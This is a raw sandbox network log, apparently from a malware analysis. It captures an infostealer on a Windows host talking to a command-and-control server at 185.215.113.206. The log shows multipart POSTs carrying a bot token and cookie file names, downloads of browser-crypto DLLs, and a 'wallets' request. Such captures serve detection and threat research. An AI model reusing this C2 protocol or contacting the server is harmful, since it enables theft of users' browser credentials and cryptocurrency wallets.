Nov 25, 2024 03:39:36.223535061 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIJJEGDBFIIDGCAKJEBK Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 4a 4a 45 47 44 42 46 49 49 44 47 43 41 4b 4a 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 63 64 32 65 37 37 65 61 37 32 34 31 30 66 39 38 33 30 35 31 30 66 37 36 35 31 35 30 37 32 38 62 31 61 63 62 38 64 38 38 31 33 39 61 31 31 65 35 66 66 32 39 36 34 35 38 63 35 32 64 36 63 32 61 30 39 61 31 65 34 64 0d 0a 2d 2d 2d 2d 2d 2d 48 49 4a 4a 45 47 44 42 46 49 49 44 47 43 41 4b 4a 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 49 4a 4a 45 47 44 42 46 49 49 44 47 43 41 4b 4a 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------HIJJEGDBFIIDGCAKJEBKContent-Disposition: form-data; name="token"dcd2e77ea72410f9830510f765150728b1acb8d88139a11e5ff296458c52d6c2a09a1e4d------HIJJEGDBFIIDGCAKJEBKContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------HIJJEGDBFIIDGCAKJEBKContent-Disposition: form-data; name="file"------HIJJEGDBFIIDGCAKJEBK--
Nov 25, 2024 03:39:37.178066969 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:39:36 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49748	185.215.113.206	80	1548	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 03:39:43.310286999 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGIEGHJEGHJKFIEBFHJK Host: 185.215.113.206 Content-Length: 3087 Connection: Keep-Alive Cache-Control: no-cache
Nov 25, 2024 03:39:43.310323954 CET	3087	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 43 47 49 45 47 48 4a 45 47 48 4a 4b 46 49 45 42 46 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 63 64 32 65 37 Data Ascii: ------CGIEGHJEGHJKFIEBFHJKContent-Disposition: form-data; name="token"dcd2e77ea72410f9830510f765150728b1acb8d88139a11e5ff296458c52d6c2a09a1e4d------CGIEGHJEGHJKFIEBFHJKContent-Disposition: form-data; name="file_name"Y29va2llc1xNa
Nov 25, 2024 03:39:45.358141899 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:39:44 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 25, 2024 03:39:45.487773895 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJKJJKFHIJKKFHJJECBA Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 4b 4a 4a 4b 46 48 49 4a 4b 4b 46 48 4a 4a 45 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 63 64 32 65 37 37 65 61 37 32 34 31 30 66 39 38 33 30 35 31 30 66 37 36 35 31 35 30 37 32 38 62 31 61 63 62 38 64 38 38 31 33 39 61 31 31 65 35 66 66 32 39 36 34 35 38 63 35 32 64 36 63 32 61 30 39 61 31 65 34 64 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4a 4a 4b 46 48 49 4a 4b 4b 46 48 4a 4a 45 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4a 4a 4b 46 48 49 4a 4b 4b 46 48 4a 4a 45 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------IJKJJKFHIJKKFHJJECBAContent-Disposition: form-data; name="token"dcd2e77ea72410f9830510f765150728b1acb8d88139a11e5ff296458c52d6c2a09a1e4d------IJKJJKFHIJKKFHJJECBAContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IJKJJKFHIJKKFHJJECBAContent-Disposition: form-data; name="file"------IJKJJKFHIJKKFHJJECBA--
Nov 25, 2024 03:39:46.455837965 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:39:45 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 25, 2024 03:39:47.321444035 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 25, 2024 03:39:47.781302929 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:39:47 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 25, 2024 03:39:47.781330109 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t0
Nov 25, 2024 03:39:47.781342030 CET	1236	IN	Data Raw: 55 07 08 00 83 c4 08 eb ce cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 58 89 4c 24 2c 8b 7d 1c a1 b4 30 0a 10 31 e8 89 44 24 50 c7 44 24 3c 10 00 00 00 83 ff 18 72 19 89 f8 83 e0 07 75 12 8d 47 f8 3b 45 14 76 14 68 03 e0 ff Data Ascii: UUSWVXL$,}01D$PD$<ruG;Evhh\|$,}uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$
Nov 25, 2024 03:39:47.781423092 CET	372	IN	Data Raw: 55 89 e5 53 57 56 83 ec 24 8b 4d 1c 8b 75 0c a1 b4 30 0a 10 31 e8 89 45 f0 8b 7d 08 8d 59 f8 83 f9 10 75 32 8d 45 dc 8d 4d e0 6a 10 ff 75 18 6a 10 50 51 57 e8 f7 93 06 00 83 c4 18 89 c7 8d 75 e8 83 45 dc f8 c7 45 d8 00 00 00 00 85 ff 0f 85 b4 01 Data Ascii: USWV$Mu01E}Yu2EMjujPQWuEEC1;]vS{EE1uuSPVEPo9]SUYY)ZYEME]M)19D
Nov 25, 2024 03:39:47.781435013 CET	1236	IN	Data Raw: 21 d7 b8 05 00 00 00 29 c8 c1 f8 1f f7 d0 8b 55 1c 80 7c 32 f2 01 19 db 09 c3 b8 06 00 00 00 29 c8 c1 f8 1f 80 7c 32 f1 01 f7 d0 19 d2 09 c2 21 da 21 fa b8 07 00 00 00 29 c8 c1 f8 1f f7 d0 8b 4d 1c 80 7c 31 f0 01 19 c9 09 c1 85 ca 74 2f 8b 45 10 Data Ascii: !)U\|2)\|2!!)M\|1t/EU;U]w"1E9t:RVP -:]QsE9uSjPEtSP\M1$^_[]USWVut:}t$FHjS
Nov 25, 2024 03:39:47.781450987 CET	1236	IN	Data Raw: 08 8b 55 18 8b 4d 14 8b 5d 0c 8b 75 08 8b 3e 8b 46 04 39 d8 74 3a 8d 4e 08 8b 56 08 c7 46 08 00 00 00 00 85 ff 89 4d ec 89 55 f0 74 48 8b 48 0c ff 15 00 80 0a 10 6a 01 57 ff d1 83 c4 08 68 0c 01 00 00 6a 00 56 e8 34 fc 07 00 83 c4 0c eb 25 85 ff Data Ascii: UM]u>F9t:NVFMUtHHjWhjV4%tUVPdnFEFEF^Kt=Uuu#t>t FHjWEM1^_[]USWVu>
Nov 25, 2024 03:39:47.781462908 CET	1236	IN	Data Raw: 00 00 8d bd f0 fe ff ff 68 00 01 00 00 68 20 21 08 10 89 b5 ec fe ff ff 56 e8 cf f7 07 00 83 c4 0c bb 00 01 00 00 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 40 00 8b 75 0c 56 ff 75 08 57 e8 ac f7 07 00 83 c4 0c 01 f7 29 f3 39 f3 77 e8 53 ff 75 08 57 e8 Data Ascii: hh !Vf.@uVuW)9wSuWT>\>=t%>>fM1^_[]U}th
Nov 25, 2024 03:39:47.781476021 CET	1236	IN	Data Raw: 01 85 c0 89 4d c8 0f 84 ef 01 00 00 89 d1 83 e1 fe 66 0f 6f 05 c0 20 08 10 31 f6 66 0f ef c9 66 0f ef d2 8b 7d 10 8b 5d cc 0f 1f 80 00 00 00 00 89 f0 09 d8 66 0f 6e 34 07 66 0f ef db 66 0f 60 f3 66 0f 61 f3 66 0f 6f f8 66 0f 72 f7 17 66 0f 6f 1d Data Ascii: Mfo 1ff}]fn4ff`fafofrfo f[fpffpffof% fpfpfbfnlff`fafffrf% [fpffpfpffpfbffof fnf`f
Nov 25, 2024 03:39:47.789738894 CET	496	IN	Data Raw: 8a 34 30 88 34 38 88 14 30 00 d6 0f b6 f6 8a 75 e8 8b 7d e4 8a 54 0f ff 32 14 30 8b 45 dc 88 54 08 ff 8b 45 d8 01 c8 83 c0 01 83 c1 01 83 f8 01 75 ba 8b 45 f0 88 98 00 01 00 00 88 b0 01 01 00 00 31 c0 83 c4 34 5e 5f 5b 5d c3 0f b6 d2 89 55 ec 89 Data Ascii: 40480u}T20ETEuE14^_[]UM1]U}f.MMuEMMU2}E0MEEMLEE0}M1M
Nov 25, 2024 03:39:47.791446924 CET	1236	IN	Data Raw: ff 8b 45 ec 04 07 89 45 ec 0f b6 c0 8b 7d f0 8a 0c 07 00 ce 0f b6 f6 8a 2c 37 88 2c 07 88 0c 37 00 cd 8b 45 10 8a 40 06 0f b6 cd 32 04 0f 88 43 06 8b 4d ec e9 2e f7 ff ff cc cc cc 55 89 e5 53 57 56 81 ec 5c 01 00 00 89 8d dc fe ff ff 8b 32 89 95 Data Ascii: EE},7,7E@2CM.USWV\2tRAA q$]QD1A@1RQP5}gjM31tQI
Nov 25, 2024 03:39:49.379836082 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 25, 2024 03:39:49.839772940 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:39:49 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 25, 2024 03:39:50.795277119 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 25, 2024 03:39:51.255784035 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:39:51 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 25, 2024 03:39:51.984772921 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 25, 2024 03:39:52.445002079 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:39:52 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Nov 25, 2024 03:39:55.749594927 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 25, 2024 03:39:56.209604979 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:39:55 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Nov 25, 2024 03:39:56.885790110 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 25, 2024 03:39:57.345613956 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:39:57 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Nov 25, 2024 03:39:58.159006119 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHDHCAAKECFIDHIEBAKF Host: 185.215.113.206 Content-Length: 1003 Connection: Keep-Alive Cache-Control: no-cache
Nov 25, 2024 03:39:59.292392015 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:39:58 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 25, 2024 03:39:59.402534962 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFBAAFHDHCBGCAKFHDAK Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 46 42 41 41 46 48 44 48 43 42 47 43 41 4b 46 48 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 63 64 32 65 37 37 65 61 37 32 34 31 30 66 39 38 33 30 35 31 30 66 37 36 35 31 35 30 37 32 38 62 31 61 63 62 38 64 38 38 31 33 39 61 31 31 65 35 66 66 32 39 36 34 35 38 63 35 32 64 36 63 32 61 30 39 61 31 65 34 64 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 41 41 46 48 44 48 43 42 47 43 41 4b 46 48 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 41 41 46 48 44 48 43 42 47 43 41 4b 46 48 44 41 4b 2d 2d 0d 0a Data Ascii: ------BFBAAFHDHCBGCAKFHDAKContent-Disposition: form-data; name="token"dcd2e77ea72410f9830510f765150728b1acb8d88139a11e5ff296458c52d6c2a09a1e4d------BFBAAFHDHCBGCAKFHDAKContent-Disposition: form-data; name="message"wallets------BFBAAFHDHCBGCAKFHDAK--
Nov 25, 2024 03:39:59.868361950 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:39:59 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: 